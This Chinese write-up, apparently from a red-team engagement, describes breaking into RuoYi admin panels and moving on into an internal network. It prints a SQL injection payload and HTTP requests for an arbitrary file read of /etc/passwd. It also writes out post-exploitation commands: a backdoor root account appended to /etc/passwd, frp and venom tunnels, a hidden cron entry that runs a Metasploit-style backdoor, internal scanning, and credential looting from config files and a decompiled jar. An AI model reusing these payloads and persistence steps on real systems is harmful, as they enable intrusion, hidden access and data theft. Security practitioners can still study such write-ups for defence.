记一次ruoyi站点突破到内网后渗透
目标是没有参加过攻防的新企业,所以存在大量的问题我这里只记录部分。(内容皆以打码只做技术分享)
外网打点:
外网打点我一般使用dddd快速的梳理资产和扫描出一些常见的漏洞,dddd的数据和指纹poc库都很不错,用起来也比价丝滑,适合外网快速打点。
在扫描结果中发现存在若依框架
老熟人若依框架了,除了使用经典的shiro框架,自身还有很多的漏洞,而且因为若依是开源的框架所以是他或者是二开他的非常的多,导致它成为攻防中很好作为突破口的一个点。
经典开局账号密码写在前台
在企业体量比较大的情况下很多边缘资产内部都分不清楚是不是自己的,所以企业做好资产梳理非常的重要。
很丝滑直接登录进去获取到token
作为脚本小子直接拿工具先梭一下看一下什么情况
进行测试后发现存在SQL盲注,以及文件读取,shiro使用工具进行爆破并没有将key爆破出来
若依的一些利用姿势
参考 若依漏洞利用方式总结
sql注入:
在手动使用poc进行测试发现一处报错注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
poc
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));
可以得到数据库的版本,不过网上并没有进一步利用的东西,我后续尝试了一下通过此次SQL注入进一步但是失败了,这里的SQL语句是有点特殊的,估计需要分析漏洞成因然后才能继续构造SQL语句仅利用。
测试发现JdbcTemplate漏洞执行失败,这个漏洞的利用估计是版本在4.7.8之前
文件读取倒是成功了
另外这个工具的读取功能有点问题,没错读取成功需要重启工具,因为他是利用的一个定时任务每次读就写一个计划任务的模板,读完就卡住了。。。
文件读取手动复现:
任意文件读取(RuoYi<4.7.6)
首先添加一定时任务
poc这样的
POST /monitor/job/add HTTP/1.1
Host: xxxxxxx
Content-Length: 174
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=xxxxxx
Connection: close
createBy=admin&jobName=test&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('%2Fetc%2Fpasswd')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
添加成功后启动
或者poc指定id启动
POST /monitor/job/edit HTTP/1.1
Host: xxxx
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
jobId=475
访问任意文件都可以读取到此文件
common/download/resource?resource=2.txt
后续对此站点的其他可能存在的漏洞进行了测试并没有发现新的漏洞,而且这个SQL注入有点难以利用,文件读取发现是root权限所以读取起来还是挺方便的可惜没有发现更多的东西,于是继续信息收集看这个ip上面有没有其他的站点可以配合打组合拳。
thymeleaf注入反弹shell:
运气不错又发现一个若依的后台同样是吧账号密码写在了前端
同样是很经典的二开若依
同样也是直接上小黑的工具
和之前的不一样,先尝试了thymeleaf注入看有没有效果
总算遇到了打成功的版本了
执行反弹命令成功的将shell反弹
到此就算是突破边界进入内网环节了,因为直接就是root权限都不需要考虑提权了。
后渗透:
尝试将shell提升发现无法获取完整的交互式shell,于是考虑使用ssh进行连接,先写入后门账号
在目标上 输入
openssl passwd -1 123456
获得加密的密码
$1$spI7biio$pPejWCTLxD9SttgXm38IY.
伪造账号为mysql_7
echo 'mysql_7:$1$spI7biio$pPejWCTLxD9SttgXm38IY.:0:0:root:/root:/bin/bash' >>/etc/passwd
因为没有完整的shell所以无法再当前shell进行ssh连接,尝试将ssh端口穿透出来
frpc.toml配置,将本地的22端口映射到远程服务器的6000端口
frps.toml默认和上面的一致
然后将文件下载到目标上
在攻击机上启动服务端
nohup ./frps -c ./frps.toml > output.log 2>&1 &
在目标机上启动客户端
nohup ./frpc -c ./frpc.toml > output.log 2>&1 &
查看一下建立的链接因为是内网的主机所以ip和端口是出口网关的
然后ssh本地连接一下这个端口,成功的搭建了比较稳定的环境
为了权限维持选择写计划任务
先写一个名字为.sql_bak.sh文件放置到一个目录下面
#!/bin/bash
nohup /tmp/config_bak.elf > output.log 2>&1 &
config_bak.elf是提前使用viper生成的后门文件(viper就是图形化的msf)
vim /etc/crontab
写入计划任务
59 23 * * * root /etc/.sql_bak.sh > /dev/null 2>&1
这样子写的计划任务使用crontab -l是看不到的,只能直接查看crontab文件
主机信息收集:
基本的权限维持做好了,现在先继续做一下信息收集,看目标上线还有没有什么敏感的文件比如账号密码啥的,因为有个mysql和redis的数据库
信息收集推荐使用GitHub - peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) 此项目的linpeas.sh脚本进行
在redis的配置文件中翻到了一个密码
另外就是反翻垃圾神器FindEverything 可以看内网渗透信息搜集骚姿势
可以快速的翻垃圾
服了垃圾啥也没有,配置文件没有翻到什么密码
最后是将这个若依的jar包直接下载了下来在里面翻源码,因为他不是容器部署所以只能反编译jar,还好,在里面找到mysql的账号密码还有一些其他的敏感信息
druid的
以及微信的和阿里云的一些配置信息
阿里云短信接口的利用方式可以参考 阿里云短信接口配置信息利用方式_对短信接口进行加密-CSDN博客
不过这里的微信配置信息没有利用成功微信相关的利用可以使用API-Explorer工具。
使用数据库的密码也是成功的登录了,于是打算将3306穿透出来使用数据库工具进行连接方便一点
发现了一些个人信息,但是不多没有三要素,主要还是存储的若依系统的一些数据,之前在外网的时候是存在几个若依系统的但是只有三个存在密码写在前端可以登录进去,所以这里的数据库都是存放的若依的一些信息,密码全部都是加盐的存放在数据库中,
倒是收集到了两个私网的ip
看样子内网还是挺大的不知道有没有域,fscan扫的端口太多了时间有点久。
内网信息收集:
查看了一下网卡有1个私网地址还有一个虚拟地址没有开启对应的网卡,使用traceroute 无法看到最近的内网的地址,看来只能横向移动后继续信息收集了
上传fscan
给个执行权限开扫
nohup ./fscan -h 192.168.0.0/24 -o 192_168_0_0.txt > output.log 2>&1 &
如果在做安全服务的话可以加个-np,意思是not ping因为有些服务器可能开启了不回显ping,一般来说这种工具都是先ping一遍看那些主机存活,存活的话就扫存活的主机,这样可能会遗漏一些。
使用venom做隧道代理
前面都是做的内网穿透并不是代理,我个人是觉得穿透出来的隧道稳定一些。
在攻击机上启动admin 在目标机器上启动agent
攻击:
./admin_linux_x64 -lport 9999
目标机:
./agent_linux_x64 -rhost 攻击机地址 -rport 9999
成功后在admin这里会显示上线
goto 1后建立隧道节点
>>>socks 9988
在攻击机上就启动了一个9988的代理转发节点
这里因为是使用的fscan做的扫描,所以可以使用一款fscan结果整理工具
项目 https://github.com/teamdArk5/FscanParser
将扫描结果导入,他会将结果很清楚的进行分类展示
结果扫描出了两个弱口令以及大量的ms17010
然后优先rdp远程登录尝试上线,之前使用venom打了隧道此时就可以利用上了
虽然可以用proxifier将mstsc代理,但是这里我推荐另一个好用的远程桌面工具(使用profilier只需要将mstsc.exe进行代理即可)
工具地址
Parallels RDP Client | Parallels Client
下载这个
这个软件可以直接设置代理
可以直接使用之前做的venom隧道
也是很轻松的就连接了上去,上去啥都没找到而且主机还安装了卡巴斯基。。。而且卡巴斯基关闭还需要账号密码。。。
使用profiler代理
当然proxifier的使用方式很方便,这里我要连接存在弱口令的mysql(如果要连rdp这里就把mstsc.exe程序代理就行了)
新建一个代理服务器
可以测试一下看代理是不是正常的,前提是内网要出网,否则后面那个可能验证不成功
新建一个代理规则,因为接下来我要使用navicat进行数据库的链接,所以这里只需要将navicat.exe代理就可以了,然后记得动作选择9988的那个代理服务器然后点击确定
打开navicat就可以一把连接了
里面有一个库然后又非常多的表
在里面没有找到很多三要素的数据,一些账号密码也都是加密的。。。有点难受
后续:
后续又发现了存在10.几网段和192/8的网段,资产非常的多就不是我一个人打了,不过这里的msf17010全部的失效了不确定是有杀软还是打了补丁。。。总体算是一次比较轻松的外网突破到内网遨游。